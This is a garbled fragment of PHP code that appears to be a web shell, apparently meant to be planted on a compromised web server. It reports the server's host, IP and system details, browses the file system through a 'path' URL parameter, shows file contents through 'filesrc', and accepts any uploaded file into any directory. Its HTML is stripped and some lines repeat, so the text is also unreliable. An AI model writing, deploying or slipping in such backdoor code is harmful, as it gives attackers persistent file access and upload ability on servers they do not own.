$dir | |||
$file |
$value){ $_POST[$key] = stripslashes($value); } } echo '
'; echo " | |||||
: ".$_SERVER['REMOTE_ADDR']."
| : ".gethostbyname($_SERVER['HTTP_HOST'])." / ".$_SERVER['SERVER_NAME']." |
| : ".php_uname()." | |
'; if(isset($_GET['path'])){ $path = $_GET['path']; }else{ $path = getcwd(); } $path = str_replace('\\','/',$path); $paths = explode('/',$path); foreach($paths as $id=>$pat){ if($pat == '' && $id == 0){ $a = true; echo ' : /'; continue; } if($pat == '') continue; echo ''.$pat.'/'; } //upload echo ' '; if(isset($_FILES['file'])){ if(copy($_FILES['file']['tmp_name'],$path.'/'.$_FILES['file']['name'])){ echo ' UPLOAD SUCCES !!!! '; }else{ echo ''; } } echo ' |
files >> "; echo $_GET['filesrc']; echo ' |
$dir | |||
$file |